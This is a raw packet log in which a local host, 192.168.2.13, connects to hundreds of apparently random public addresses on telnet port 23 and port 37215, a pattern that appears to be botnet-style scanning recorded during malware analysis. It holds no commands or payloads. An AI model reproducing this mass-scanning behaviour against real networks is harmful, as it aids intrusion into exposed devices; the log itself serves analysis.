Mar 6, 2025 21:38:03.650774002 CET	41098	37215	192.168.2.13	46.158.32.186
Mar 6, 2025 21:38:03.650774002 CET	23	41092	151.67.59.235	192.168.2.13
Mar 6, 2025 21:38:03.650775909 CET	41098	37215	192.168.2.13	41.241.165.93
Mar 6, 2025 21:38:03.650798082 CET	41098	37215	192.168.2.13	223.8.120.179
Mar 6, 2025 21:38:03.650803089 CET	41092	23	192.168.2.13	151.67.59.235
Mar 6, 2025 21:38:03.650813103 CET	41092	23	192.168.2.13	178.230.108.33
Mar 6, 2025 21:38:03.650818110 CET	41098	37215	192.168.2.13	196.35.169.43
Mar 6, 2025 21:38:03.650875092 CET	23	41092	2.94.147.12	192.168.2.13
Mar 6, 2025 21:38:03.650885105 CET	23	41092	182.85.74.149	192.168.2.13
Mar 6, 2025 21:38:03.650893927 CET	23	41092	96.27.133.122	192.168.2.13
Mar 6, 2025 21:38:03.650903940 CET	37215	41098	46.45.35.119	192.168.2.13
Mar 6, 2025 21:38:03.650913954 CET	37215	41098	134.52.248.194	192.168.2.13
Mar 6, 2025 21:38:03.650914907 CET	41092	23	192.168.2.13	2.94.147.12
Mar 6, 2025 21:38:03.650922060 CET	41092	23	192.168.2.13	182.85.74.149
Mar 6, 2025 21:38:03.650923967 CET	37215	41098	196.220.8.10	192.168.2.13
Mar 6, 2025 21:38:03.650933981 CET	37215	41098	197.157.86.27	192.168.2.13
Mar 6, 2025 21:38:03.650943995 CET	23	41092	4.60.234.138	192.168.2.13
Mar 6, 2025 21:38:03.650953054 CET	23	41092	8.208.36.231	192.168.2.13
Mar 6, 2025 21:38:03.650955915 CET	41092	23	192.168.2.13	96.27.133.122
Mar 6, 2025 21:38:03.650955915 CET	41098	37215	192.168.2.13	46.45.35.119
Mar 6, 2025 21:38:03.650959015 CET	41098	37215	192.168.2.13	196.220.8.10
Mar 6, 2025 21:38:03.650959015 CET	41098	37215	192.168.2.13	134.52.248.194
Mar 6, 2025 21:38:03.650964022 CET	37215	41098	197.198.44.89	192.168.2.13
Mar 6, 2025 21:38:03.650974035 CET	37215	41098	223.8.90.180	192.168.2.13
Mar 6, 2025 21:38:03.650980949 CET	41092	23	192.168.2.13	4.60.234.138
Mar 6, 2025 21:38:03.650980949 CET	41092	23	192.168.2.13	8.208.36.231
Mar 6, 2025 21:38:03.650983095 CET	41098	37215	192.168.2.13	197.157.86.27
Mar 6, 2025 21:38:03.650984049 CET	37215	41098	181.124.135.135	192.168.2.13
Mar 6, 2025 21:38:03.650994062 CET	37215	41098	181.95.126.196	192.168.2.13
Mar 6, 2025 21:38:03.651000023 CET	41098	37215	192.168.2.13	197.198.44.89
Mar 6, 2025 21:38:03.651010990 CET	41098	37215	192.168.2.13	223.8.90.180
Mar 6, 2025 21:38:03.651024103 CET	41098	37215	192.168.2.13	181.124.135.135
Mar 6, 2025 21:38:03.651034117 CET	41098	37215	192.168.2.13	181.95.126.196
Mar 6, 2025 21:38:03.651164055 CET	23	41092	165.47.246.87	192.168.2.13
Mar 6, 2025 21:38:03.651174068 CET	23	41092	175.38.235.118	192.168.2.13
Mar 6, 2025 21:38:03.651182890 CET	23	41092	87.62.209.94	192.168.2.13
Mar 6, 2025 21:38:03.651192904 CET	23	41092	98.180.24.181	192.168.2.13
Mar 6, 2025 21:38:03.651204109 CET	41092	23	192.168.2.13	175.38.235.118
Mar 6, 2025 21:38:03.651211023 CET	23	41092	221.193.47.238	192.168.2.13
Mar 6, 2025 21:38:03.651211023 CET	41092	23	192.168.2.13	165.47.246.87
Mar 6, 2025 21:38:03.651217937 CET	41092	23	192.168.2.13	87.62.209.94
Mar 6, 2025 21:38:03.651221037 CET	37215	41098	197.140.97.195	192.168.2.13
Mar 6, 2025 21:38:03.651235104 CET	41092	23	192.168.2.13	98.180.24.181
Mar 6, 2025 21:38:03.651240110 CET	41092	23	192.168.2.13	221.193.47.238
Mar 6, 2025 21:38:03.651257992 CET	37215	41098	223.8.62.25	192.168.2.13
Mar 6, 2025 21:38:03.651258945 CET	41098	37215	192.168.2.13	197.140.97.195
Mar 6, 2025 21:38:03.651268005 CET	37215	41098	223.8.12.80	192.168.2.13
Mar 6, 2025 21:38:03.651285887 CET	37215	41098	156.152.253.149	192.168.2.13
Mar 6, 2025 21:38:03.651298046 CET	41098	37215	192.168.2.13	223.8.62.25
Mar 6, 2025 21:38:03.651298046 CET	41098	37215	192.168.2.13	223.8.12.80
Mar 6, 2025 21:38:03.651318073 CET	37215	41098	196.117.72.176	192.168.2.13
Mar 6, 2025 21:38:03.651319027 CET	41098	37215	192.168.2.13	156.152.253.149
Mar 6, 2025 21:38:03.651328087 CET	37215	41098	223.8.28.93	192.168.2.13
Mar 6, 2025 21:38:03.651340008 CET	37215	41098	197.139.212.54	192.168.2.13
Mar 6, 2025 21:38:03.651360035 CET	41098	37215	192.168.2.13	196.117.72.176
Mar 6, 2025 21:38:03.651362896 CET	41098	37215	192.168.2.13	223.8.28.93
Mar 6, 2025 21:38:03.651371002 CET	41098	37215	192.168.2.13	197.139.212.54
Mar 6, 2025 21:38:03.651772976 CET	23	41092	61.48.192.38	192.168.2.13
Mar 6, 2025 21:38:03.651782990 CET	23	41092	72.37.84.232	192.168.2.13
Mar 6, 2025 21:38:03.651792049 CET	23	41092	152.251.240.197	192.168.2.13
Mar 6, 2025 21:38:03.651801109 CET	23	41092	39.102.113.158	192.168.2.13
Mar 6, 2025 21:38:03.651810884 CET	23	41092	172.194.231.98	192.168.2.13
Mar 6, 2025 21:38:03.651818991 CET	41092	23	192.168.2.13	61.48.192.38
Mar 6, 2025 21:38:03.651822090 CET	37215	41098	196.170.252.100	192.168.2.13
Mar 6, 2025 21:38:03.651823044 CET	41092	23	192.168.2.13	152.251.240.197
Mar 6, 2025 21:38:03.651830912 CET	37215	41098	181.219.2.118	192.168.2.13
Mar 6, 2025 21:38:03.651834011 CET	41092	23	192.168.2.13	72.37.84.232
Mar 6, 2025 21:38:03.651839972 CET	37215	41098	46.15.31.0	192.168.2.13
Mar 6, 2025 21:38:03.651844978 CET	41092	23	192.168.2.13	172.194.231.98
Mar 6, 2025 21:38:03.651854992 CET	41098	37215	192.168.2.13	196.170.252.100
Mar 6, 2025 21:38:03.651859045 CET	23	41092	195.63.90.21	192.168.2.13
Mar 6, 2025 21:38:03.651860952 CET	41098	37215	192.168.2.13	181.219.2.118
Mar 6, 2025 21:38:03.651868105 CET	23	41092	78.148.57.25	192.168.2.13
Mar 6, 2025 21:38:03.651876926 CET	23	41092	190.14.133.199	192.168.2.13
Mar 6, 2025 21:38:03.651885986 CET	41092	23	192.168.2.13	39.102.113.158
Mar 6, 2025 21:38:03.651890039 CET	41098	37215	192.168.2.13	46.15.31.0
Mar 6, 2025 21:38:03.651897907 CET	37215	41098	156.26.15.181	192.168.2.13
Mar 6, 2025 21:38:03.651904106 CET	41092	23	192.168.2.13	195.63.90.21
Mar 6, 2025 21:38:03.651906013 CET	41092	23	192.168.2.13	78.148.57.25
Mar 6, 2025 21:38:03.651907921 CET	37215	41098	156.39.216.255	192.168.2.13
Mar 6, 2025 21:38:03.651918888 CET	37215	41098	156.193.77.159	192.168.2.13
Mar 6, 2025 21:38:03.651923895 CET	41092	23	192.168.2.13	190.14.133.199
Mar 6, 2025 21:38:03.651926994 CET	41098	37215	192.168.2.13	156.26.15.181
Mar 6, 2025 21:38:03.651928902 CET	37215	41098	41.166.60.102	192.168.2.13
Mar 6, 2025 21:38:03.651937962 CET	41098	37215	192.168.2.13	156.39.216.255
Mar 6, 2025 21:38:03.651938915 CET	37215	41098	46.165.233.97	192.168.2.13
Mar 6, 2025 21:38:03.651948929 CET	37215	41098	134.44.81.136	192.168.2.13
Mar 6, 2025 21:38:03.651956081 CET	41098	37215	192.168.2.13	156.193.77.159
Mar 6, 2025 21:38:03.651958942 CET	23	41092	60.183.103.155	192.168.2.13
Mar 6, 2025 21:38:03.651968002 CET	23	41092	109.191.147.61	192.168.2.13
Mar 6, 2025 21:38:03.651973963 CET	41098	37215	192.168.2.13	41.166.60.102
Mar 6, 2025 21:38:03.651978016 CET	37215	41098	196.94.220.193	192.168.2.13
Mar 6, 2025 21:38:03.651982069 CET	41098	37215	192.168.2.13	46.165.233.97
Mar 6, 2025 21:38:03.651983023 CET	41098	37215	192.168.2.13	134.44.81.136
Mar 6, 2025 21:38:03.651990891 CET	41092	23	192.168.2.13	109.191.147.61
Mar 6, 2025 21:38:03.651998043 CET	41092	23	192.168.2.13	60.183.103.155
Mar 6, 2025 21:38:03.652025938 CET	41098	37215	192.168.2.13	196.94.220.193
Mar 6, 2025 21:38:03.652319908 CET	37215	41098	197.254.34.182	192.168.2.13
Mar 6, 2025 21:38:03.652329922 CET	37215	41098	196.181.47.98	192.168.2.13
Mar 6, 2025 21:38:03.652364969 CET	41098	37215	192.168.2.13	197.254.34.182
Mar 6, 2025 21:38:03.652376890 CET	41098	37215	192.168.2.13	196.181.47.98
Mar 6, 2025 21:38:03.652460098 CET	37215	41098	46.150.192.209	192.168.2.13
Mar 6, 2025 21:38:03.652468920 CET	37215	41098	41.232.249.46	192.168.2.13
Mar 6, 2025 21:38:03.652477980 CET	37215	41098	196.137.152.44	192.168.2.13
Mar 6, 2025 21:38:03.652487993 CET	37215	41098	156.188.27.12	192.168.2.13
Mar 6, 2025 21:38:03.652493000 CET	41098	37215	192.168.2.13	46.150.192.209
Mar 6, 2025 21:38:03.652498007 CET	37215	41098	196.224.119.50	192.168.2.13
Mar 6, 2025 21:38:03.652501106 CET	41098	37215	192.168.2.13	41.232.249.46
Mar 6, 2025 21:38:03.652508020 CET	23	41092	146.242.38.210	192.168.2.13
Mar 6, 2025 21:38:03.652514935 CET	41098	37215	192.168.2.13	196.137.152.44
Mar 6, 2025 21:38:03.652517080 CET	23	41092	18.158.28.241	192.168.2.13
Mar 6, 2025 21:38:03.652530909 CET	41098	37215	192.168.2.13	156.188.27.12
Mar 6, 2025 21:38:03.652535915 CET	23	41092	213.207.252.66	192.168.2.13
Mar 6, 2025 21:38:03.652539968 CET	41098	37215	192.168.2.13	196.224.119.50
Mar 6, 2025 21:38:03.652542114 CET	41092	23	192.168.2.13	146.242.38.210
Mar 6, 2025 21:38:03.652546883 CET	23	41092	48.169.46.12	192.168.2.13
Mar 6, 2025 21:38:03.652549982 CET	41092	23	192.168.2.13	18.158.28.241
Mar 6, 2025 21:38:03.652555943 CET	23	41092	108.131.56.230	192.168.2.13
Mar 6, 2025 21:38:03.652565002 CET	37215	41098	197.116.81.119	192.168.2.13
Mar 6, 2025 21:38:03.652574062 CET	37215	41098	197.4.165.199	192.168.2.13
Mar 6, 2025 21:38:03.652582884 CET	37215	41098	46.223.206.50	192.168.2.13
Mar 6, 2025 21:38:03.652582884 CET	41092	23	192.168.2.13	48.169.46.12
Mar 6, 2025 21:38:03.652585030 CET	41092	23	192.168.2.13	213.207.252.66
Mar 6, 2025 21:38:03.652586937 CET	41092	23	192.168.2.13	108.131.56.230
Mar 6, 2025 21:38:03.652591944 CET	37215	41098	156.53.87.170	192.168.2.13
Mar 6, 2025 21:38:03.652601957 CET	37215	41098	223.8.131.133	192.168.2.13
Mar 6, 2025 21:38:03.652611017 CET	37215	41098	41.167.37.254	192.168.2.13
Mar 6, 2025 21:38:03.652617931 CET	41098	37215	192.168.2.13	197.116.81.119
Mar 6, 2025 21:38:03.652618885 CET	41098	37215	192.168.2.13	156.53.87.170
Mar 6, 2025 21:38:03.652621031 CET	37215	41098	41.93.36.49	192.168.2.13
Mar 6, 2025 21:38:03.652630091 CET	37215	41098	46.150.41.57	192.168.2.13
Mar 6, 2025 21:38:03.652630091 CET	41098	37215	192.168.2.13	197.4.165.199
Mar 6, 2025 21:38:03.652630091 CET	41098	37215	192.168.2.13	46.223.206.50
Mar 6, 2025 21:38:03.652642012 CET	37215	41098	41.29.216.216	192.168.2.13
Mar 6, 2025 21:38:03.652645111 CET	41098	37215	192.168.2.13	41.167.37.254
Mar 6, 2025 21:38:03.652647018 CET	41098	37215	192.168.2.13	223.8.131.133
Mar 6, 2025 21:38:03.652652025 CET	37215	41098	197.219.253.152	192.168.2.13
Mar 6, 2025 21:38:03.652657032 CET	41098	37215	192.168.2.13	41.93.36.49
Mar 6, 2025 21:38:03.652662992 CET	23	41092	159.147.244.159	192.168.2.13
Mar 6, 2025 21:38:03.652674913 CET	23	41092	14.166.222.69	192.168.2.13
Mar 6, 2025 21:38:03.652674913 CET	41098	37215	192.168.2.13	46.150.41.57
Mar 6, 2025 21:38:03.652679920 CET	41098	37215	192.168.2.13	41.29.216.216
Mar 6, 2025 21:38:03.652683973 CET	23	41092	40.87.147.226	192.168.2.13
Mar 6, 2025 21:38:03.652693987 CET	23	41092	152.67.74.105	192.168.2.13
Mar 6, 2025 21:38:03.652705908 CET	41092	23	192.168.2.13	159.147.244.159
Mar 6, 2025 21:38:03.652709007 CET	37215	41098	196.26.31.135	192.168.2.13
Mar 6, 2025 21:38:03.652714014 CET	41092	23	192.168.2.13	14.166.222.69
Mar 6, 2025 21:38:03.652719975 CET	41098	37215	192.168.2.13	197.219.253.152
Mar 6, 2025 21:38:03.652719975 CET	37215	41098	46.185.92.99	192.168.2.13
Mar 6, 2025 21:38:03.652730942 CET	41092	23	192.168.2.13	152.67.74.105
Mar 6, 2025 21:38:03.652744055 CET	41098	37215	192.168.2.13	196.26.31.135
Mar 6, 2025 21:38:03.652767897 CET	41092	23	192.168.2.13	40.87.147.226
Mar 6, 2025 21:38:03.652775049 CET	41098	37215	192.168.2.13	46.185.92.99
Mar 6, 2025 21:38:03.652899027 CET	37215	41098	197.132.154.58	192.168.2.13
Mar 6, 2025 21:38:03.652909994 CET	37215	41098	223.8.37.133	192.168.2.13
Mar 6, 2025 21:38:03.652920961 CET	37215	41098	196.128.117.24	192.168.2.13
Mar 6, 2025 21:38:03.652930021 CET	37215	41098	156.249.245.21	192.168.2.13
Mar 6, 2025 21:38:03.652939081 CET	41098	37215	192.168.2.13	197.132.154.58
Mar 6, 2025 21:38:03.652941942 CET	37215	41098	196.97.56.142	192.168.2.13
Mar 6, 2025 21:38:03.652944088 CET	41098	37215	192.168.2.13	223.8.37.133
Mar 6, 2025 21:38:03.652950048 CET	41098	37215	192.168.2.13	196.128.117.24
Mar 6, 2025 21:38:03.652952909 CET	37215	41098	223.8.251.71	192.168.2.13
Mar 6, 2025 21:38:03.652962923 CET	37215	41098	134.52.137.6	192.168.2.13
Mar 6, 2025 21:38:03.652971983 CET	41098	37215	192.168.2.13	156.249.245.21
Mar 6, 2025 21:38:03.652972937 CET	37215	41098	41.65.33.31	192.168.2.13
Mar 6, 2025 21:38:03.652992010 CET	37215	41098	197.117.205.255	192.168.2.13
Mar 6, 2025 21:38:03.652997017 CET	41098	37215	192.168.2.13	196.97.56.142
Mar 6, 2025 21:38:03.653002977 CET	37215	41098	223.8.69.23	192.168.2.13
Mar 6, 2025 21:38:03.653012991 CET	37215	41098	197.43.7.42	192.168.2.13
Mar 6, 2025 21:38:03.653013945 CET	41098	37215	192.168.2.13	223.8.251.71
Mar 6, 2025 21:38:03.653014898 CET	41098	37215	192.168.2.13	134.52.137.6
Mar 6, 2025 21:38:03.653013945 CET	41098	37215	192.168.2.13	41.65.33.31
Mar 6, 2025 21:38:03.653024912 CET	37215	41098	156.156.36.135	192.168.2.13
Mar 6, 2025 21:38:03.653037071 CET	37215	41098	41.207.110.106	192.168.2.13
Mar 6, 2025 21:38:03.653043985 CET	41098	37215	192.168.2.13	223.8.69.23
Mar 6, 2025 21:38:03.653048038 CET	37215	41098	196.155.128.103	192.168.2.13
Mar 6, 2025 21:38:03.653053045 CET	41098	37215	192.168.2.13	156.156.36.135
Mar 6, 2025 21:38:03.653054953 CET	41098	37215	192.168.2.13	197.117.205.255
Mar 6, 2025 21:38:03.653057098 CET	37215	41098	196.198.63.71	192.168.2.13
Mar 6, 2025 21:38:03.653065920 CET	37215	41098	197.133.223.112	192.168.2.13
Mar 6, 2025 21:38:03.653069019 CET	41098	37215	192.168.2.13	197.43.7.42
Mar 6, 2025 21:38:03.653070927 CET	37215	41098	223.8.66.36	192.168.2.13
Mar 6, 2025 21:38:03.653080940 CET	37215	41098	46.49.183.74	192.168.2.13
Mar 6, 2025 21:38:03.653086901 CET	41098	37215	192.168.2.13	41.207.110.106
Mar 6, 2025 21:38:03.653086901 CET	41098	37215	192.168.2.13	196.155.128.103
Mar 6, 2025 21:38:03.653091908 CET	37215	41098	181.204.83.105	192.168.2.13
Mar 6, 2025 21:38:03.653099060 CET	41098	37215	192.168.2.13	196.198.63.71
Mar 6, 2025 21:38:03.653099060 CET	41098	37215	192.168.2.13	197.133.223.112
Mar 6, 2025 21:38:03.653100967 CET	37215	41098	134.36.70.66	192.168.2.13
Mar 6, 2025 21:38:03.653105974 CET	41098	37215	192.168.2.13	223.8.66.36
Mar 6, 2025 21:38:03.653120041 CET	41098	37215	192.168.2.13	46.49.183.74
Mar 6, 2025 21:38:03.653126001 CET	41098	37215	192.168.2.13	181.204.83.105
Mar 6, 2025 21:38:03.653140068 CET	41098	37215	192.168.2.13	134.36.70.66
Mar 6, 2025 21:38:03.653356075 CET	23	41092	206.221.14.99	192.168.2.13
Mar 6, 2025 21:38:03.653366089 CET	23	41092	149.46.247.120	192.168.2.13
Mar 6, 2025 21:38:03.653398991 CET	41092	23	192.168.2.13	206.221.14.99
Mar 6, 2025 21:38:03.653400898 CET	41092	23	192.168.2.13	149.46.247.120
Mar 6, 2025 21:38:03.653429031 CET	23	41092	12.86.144.169	192.168.2.13
Mar 6, 2025 21:38:03.653439045 CET	23	41092	40.179.126.120	192.168.2.13
Mar 6, 2025 21:38:03.653466940 CET	41092	23	192.168.2.13	12.86.144.169
Mar 6, 2025 21:38:03.653471947 CET	41092	23	192.168.2.13	40.179.126.120
Mar 6, 2025 21:38:03.653605938 CET	23	41092	119.161.227.199	192.168.2.13
Mar 6, 2025 21:38:03.653615952 CET	23	41092	79.78.53.17	192.168.2.13
Mar 6, 2025 21:38:03.653624058 CET	23	41092	192.84.213.17	192.168.2.13
Mar 6, 2025 21:38:03.653628111 CET	23	41092	192.236.250.170	192.168.2.13
Mar 6, 2025 21:38:03.653637886 CET	23	41092	17.120.167.86	192.168.2.13
Mar 6, 2025 21:38:03.653650999 CET	23	41092	12.67.3.172	192.168.2.13
Mar 6, 2025 21:38:03.653657913 CET	41092	23	192.168.2.13	119.161.227.199
Mar 6, 2025 21:38:03.653657913 CET	41092	23	192.168.2.13	79.78.53.17
Mar 6, 2025 21:38:03.653657913 CET	41092	23	192.168.2.13	192.84.213.17
Mar 6, 2025 21:38:03.653659105 CET	23	41092	95.245.11.142	192.168.2.13
Mar 6, 2025 21:38:03.653666973 CET	23	41092	89.90.68.147	192.168.2.13
Mar 6, 2025 21:38:03.653676987 CET	23	41092	187.29.131.26	192.168.2.13
Mar 6, 2025 21:38:03.653678894 CET	41092	23	192.168.2.13	192.236.250.170
Mar 6, 2025 21:38:03.653678894 CET	41092	23	192.168.2.13	12.67.3.172
Mar 6, 2025 21:38:03.653681993 CET	41092	23	192.168.2.13	17.120.167.86
Mar 6, 2025 21:38:03.653681993 CET	41092	23	192.168.2.13	95.245.11.142
Mar 6, 2025 21:38:03.653696060 CET	23	41092	186.213.236.35	192.168.2.13
Mar 6, 2025 21:38:03.653698921 CET	41092	23	192.168.2.13	89.90.68.147
Mar 6, 2025 21:38:03.653707981 CET	23	41092	18.103.138.28	192.168.2.13
Mar 6, 2025 21:38:03.653717041 CET	41092	23	192.168.2.13	187.29.131.26
Mar 6, 2025 21:38:03.653717041 CET	23	41092	167.179.208.222	192.168.2.13
Mar 6, 2025 21:38:03.653723001 CET	23	41092	74.69.201.71	192.168.2.13
Mar 6, 2025 21:38:03.653732061 CET	23	41092	199.38.94.169	192.168.2.13
Mar 6, 2025 21:38:03.653742075 CET	23	41092	65.151.36.191	192.168.2.13
Mar 6, 2025 21:38:03.653742075 CET	41092	23	192.168.2.13	167.179.208.222
Mar 6, 2025 21:38:03.653743029 CET	41092	23	192.168.2.13	18.103.138.28
Mar 6, 2025 21:38:03.653742075 CET	41092	23	192.168.2.13	186.213.236.35
Mar 6, 2025 21:38:03.653747082 CET	23	41092	135.139.65.45	192.168.2.13
Mar 6, 2025 21:38:03.653752089 CET	23	41092	78.183.172.88	192.168.2.13
Mar 6, 2025 21:38:03.653752089 CET	41092	23	192.168.2.13	74.69.201.71
Mar 6, 2025 21:38:03.653758049 CET	23	41092	18.210.228.191	192.168.2.13
Mar 6, 2025 21:38:03.653768063 CET	23	41092	210.189.52.136	192.168.2.13
Mar 6, 2025 21:38:03.653774023 CET	41092	23	192.168.2.13	65.151.36.191
Mar 6, 2025 21:38:03.653775930 CET	41092	23	192.168.2.13	199.38.94.169
Mar 6, 2025 21:38:03.653778076 CET	23	41092	192.46.213.156	192.168.2.13
Mar 6, 2025 21:38:03.653779030 CET	41092	23	192.168.2.13	135.139.65.45
Mar 6, 2025 21:38:03.653779030 CET	41092	23	192.168.2.13	78.183.172.88
Mar 6, 2025 21:38:03.653789997 CET	23	41092	148.61.68.101	192.168.2.13
Mar 6, 2025 21:38:03.653820038 CET	41092	23	192.168.2.13	192.46.213.156
Mar 6, 2025 21:38:03.653820038 CET	41092	23	192.168.2.13	148.61.68.101
Mar 6, 2025 21:38:03.653846025 CET	41092	23	192.168.2.13	210.189.52.136
Mar 6, 2025 21:38:03.653850079 CET	41092	23	192.168.2.13	18.210.228.191
Mar 6, 2025 21:38:03.653893948 CET	23	41092	62.24.61.36	192.168.2.13
Mar 6, 2025 21:38:03.653928995 CET	41092	23	192.168.2.13	62.24.61.36
Mar 6, 2025 21:38:03.653959036 CET	23	41092	63.190.120.100	192.168.2.13
Mar 6, 2025 21:38:03.653969049 CET	23	41092	111.90.28.6	192.168.2.13
Mar 6, 2025 21:38:03.653992891 CET	41092	23	192.168.2.13	63.190.120.100
Mar 6, 2025 21:38:03.654108047 CET	23	41092	104.136.12.94	192.168.2.13
Mar 6, 2025 21:38:03.654118061 CET	41092	23	192.168.2.13	111.90.28.6
Mar 6, 2025 21:38:03.654118061 CET	23	41092	12.72.237.136	192.168.2.13
Mar 6, 2025 21:38:03.654128075 CET	23	41092	223.87.241.84	192.168.2.13
Mar 6, 2025 21:38:03.654135942 CET	23	41092	114.67.66.254	192.168.2.13
Mar 6, 2025 21:38:03.654145002 CET	23	41092	19.243.225.72	192.168.2.13
Mar 6, 2025 21:38:03.654148102 CET	41092	23	192.168.2.13	12.72.237.136
Mar 6, 2025 21:38:03.654149055 CET	41092	23	192.168.2.13	104.136.12.94
Mar 6, 2025 21:38:03.654154062 CET	23	41092	103.226.2.25	192.168.2.13
Mar 6, 2025 21:38:03.654158115 CET	41092	23	192.168.2.13	223.87.241.84
Mar 6, 2025 21:38:03.654164076 CET	23	41092	174.45.5.223	192.168.2.13
Mar 6, 2025 21:38:03.654174089 CET	23	41092	216.86.192.80	192.168.2.13
Mar 6, 2025 21:38:03.654175043 CET	41092	23	192.168.2.13	114.67.66.254
Mar 6, 2025 21:38:03.654179096 CET	41092	23	192.168.2.13	19.243.225.72
Mar 6, 2025 21:38:03.654181957 CET	41092	23	192.168.2.13	103.226.2.25
Mar 6, 2025 21:38:03.654191017 CET	41092	23	192.168.2.13	174.45.5.223
Mar 6, 2025 21:38:03.654191971 CET	23	41092	209.104.97.162	192.168.2.13
Mar 6, 2025 21:38:03.654203892 CET	23	41092	176.232.184.187	192.168.2.13
Mar 6, 2025 21:38:03.654208899 CET	41092	23	192.168.2.13	216.86.192.80
Mar 6, 2025 21:38:03.654213905 CET	23	41092	219.32.240.176	192.168.2.13
Mar 6, 2025 21:38:03.654222965 CET	23	41092	148.251.74.197	192.168.2.13
Mar 6, 2025 21:38:03.654230118 CET	41092	23	192.168.2.13	209.104.97.162
Mar 6, 2025 21:38:03.654232979 CET	23	41092	104.124.59.26	192.168.2.13
Mar 6, 2025 21:38:03.654238939 CET	41092	23	192.168.2.13	176.232.184.187
Mar 6, 2025 21:38:03.654242992 CET	23	41092	95.124.221.106	192.168.2.13
Mar 6, 2025 21:38:03.654247999 CET	41092	23	192.168.2.13	219.32.240.176
Mar 6, 2025 21:38:03.654252052 CET	41092	23	192.168.2.13	148.251.74.197
Mar 6, 2025 21:38:03.654252052 CET	23	41092	61.123.5.242	192.168.2.13
Mar 6, 2025 21:38:03.654254913 CET	41092	23	192.168.2.13	104.124.59.26
Mar 6, 2025 21:38:03.654263973 CET	23	41092	148.81.78.228	192.168.2.13
Mar 6, 2025 21:38:03.654273987 CET	23	41092	115.185.249.66	192.168.2.13
Mar 6, 2025 21:38:03.654277086 CET	41092	23	192.168.2.13	95.124.221.106
Mar 6, 2025 21:38:03.654280901 CET	39186	37215	192.168.2.13	197.174.225.92
Mar 6, 2025 21:38:03.654284954 CET	23	41092	74.180.170.24	192.168.2.13
Mar 6, 2025 21:38:03.654285908 CET	41092	23	192.168.2.13	61.123.5.242
Mar 6, 2025 21:38:03.654294014 CET	23	41092	47.249.54.13	192.168.2.13
Mar 6, 2025 21:38:03.654303074 CET	41092	23	192.168.2.13	148.81.78.228
Mar 6, 2025 21:38:03.654304028 CET	23	41092	161.169.210.5	192.168.2.13
Mar 6, 2025 21:38:03.654305935 CET	41092	23	192.168.2.13	115.185.249.66
Mar 6, 2025 21:38:03.654310942 CET	41092	23	192.168.2.13	74.180.170.24
Mar 6, 2025 21:38:03.654314041 CET	23	41092	123.166.191.116	192.168.2.13
Mar 6, 2025 21:38:03.654324055 CET	23	41092	150.86.115.137	192.168.2.13
Mar 6, 2025 21:38:03.654334068 CET	23	41092	152.234.5.190	192.168.2.13
Mar 6, 2025 21:38:03.654361010 CET	41092	23	192.168.2.13	152.234.5.190
Mar 6, 2025 21:38:03.654437065 CET	41092	23	192.168.2.13	47.249.54.13
Mar 6, 2025 21:38:03.654438972 CET	41092	23	192.168.2.13	161.169.210.5
Mar 6, 2025 21:38:03.654438972 CET	41092	23	192.168.2.13	123.166.191.116
Mar 6, 2025 21:38:03.654438972 CET	41092	23	192.168.2.13	150.86.115.137
Mar 6, 2025 21:38:03.654864073 CET	23	41092	202.142.67.217	192.168.2.13
Mar 6, 2025 21:38:03.654874086 CET	23	41092	97.36.32.180	192.168.2.13
Mar 6, 2025 21:38:03.654882908 CET	23	41092	160.129.242.187	192.168.2.13
Mar 6, 2025 21:38:03.654891968 CET	23	41092	58.188.181.125	192.168.2.13
Mar 6, 2025 21:38:03.654901028 CET	23	41092	9.242.96.108	192.168.2.13
Mar 6, 2025 21:38:03.654905081 CET	41092	23	192.168.2.13	202.142.67.217
Mar 6, 2025 21:38:03.654905081 CET	41092	23	192.168.2.13	97.36.32.180
Mar 6, 2025 21:38:03.654911041 CET	23	41092	198.51.107.165	192.168.2.13
Mar 6, 2025 21:38:03.654917955 CET	41092	23	192.168.2.13	160.129.242.187
Mar 6, 2025 21:38:03.654922009 CET	23	41092	38.160.173.82	192.168.2.13
Mar 6, 2025 21:38:03.654926062 CET	41092	23	192.168.2.13	58.188.181.125
Mar 6, 2025 21:38:03.654932022 CET	23	41092	40.93.61.149	192.168.2.13
Mar 6, 2025 21:38:03.654949903 CET	41092	23	192.168.2.13	198.51.107.165
Mar 6, 2025 21:38:03.654951096 CET	23	41092	204.167.122.161	192.168.2.13
Mar 6, 2025 21:38:03.654957056 CET	41092	23	192.168.2.13	9.242.96.108
Mar 6, 2025 21:38:03.654961109 CET	41092	23	192.168.2.13	40.93.61.149
Mar 6, 2025 21:38:03.654963970 CET	41092	23	192.168.2.13	38.160.173.82
Mar 6, 2025 21:38:03.654963970 CET	23	41092	61.236.195.198	192.168.2.13
Mar 6, 2025 21:38:03.654973984 CET	23	41092	142.227.224.162	192.168.2.13
Mar 6, 2025 21:38:03.654983997 CET	23	41092	160.51.38.181	192.168.2.13
Mar 6, 2025 21:38:03.654994011 CET	23	41092	173.21.121.255	192.168.2.13
Mar 6, 2025 21:38:03.654998064 CET	41092	23	192.168.2.13	61.236.195.198
Mar 6, 2025 21:38:03.655002117 CET	41092	23	192.168.2.13	142.227.224.162
Mar 6, 2025 21:38:03.655003071 CET	23	41092	37.79.134.157	192.168.2.13
Mar 6, 2025 21:38:03.655018091 CET	23	41092	133.228.222.100	192.168.2.13
Mar 6, 2025 21:38:03.655025959 CET	41092	23	192.168.2.13	173.21.121.255
Mar 6, 2025 21:38:03.655026913 CET	23	41092	89.30.59.159	192.168.2.13
Mar 6, 2025 21:38:03.655030012 CET	41092	23	192.168.2.13	160.51.38.181
Mar 6, 2025 21:38:03.655036926 CET	23	41092	62.47.151.217	192.168.2.13
Mar 6, 2025 21:38:03.655047894 CET	23	41092	107.90.230.101	192.168.2.13
Mar 6, 2025 21:38:03.655049086 CET	41092	23	192.168.2.13	133.228.222.100
Mar 6, 2025 21:38:03.655056953 CET	23	41092	189.185.169.202	192.168.2.13
Mar 6, 2025 21:38:03.655061960 CET	41092	23	192.168.2.13	89.30.59.159
Mar 6, 2025 21:38:03.655066967 CET	23	41092	124.176.226.16	192.168.2.13
Mar 6, 2025 21:38:03.655081034 CET	23	41092	4.15.42.39	192.168.2.13
Mar 6, 2025 21:38:03.655091047 CET	23	41092	46.242.194.140	192.168.2.13
Mar 6, 2025 21:38:03.655100107 CET	23	41092	169.61.29.223	192.168.2.13
Mar 6, 2025 21:38:03.655100107 CET	41092	23	192.168.2.13	204.167.122.161
Mar 6, 2025 21:38:03.655100107 CET	41092	23	192.168.2.13	37.79.134.157
Mar 6, 2025 21:38:03.655100107 CET	41092	23	192.168.2.13	62.47.151.217
Mar 6, 2025 21:38:03.655100107 CET	41092	23	192.168.2.13	124.176.226.16
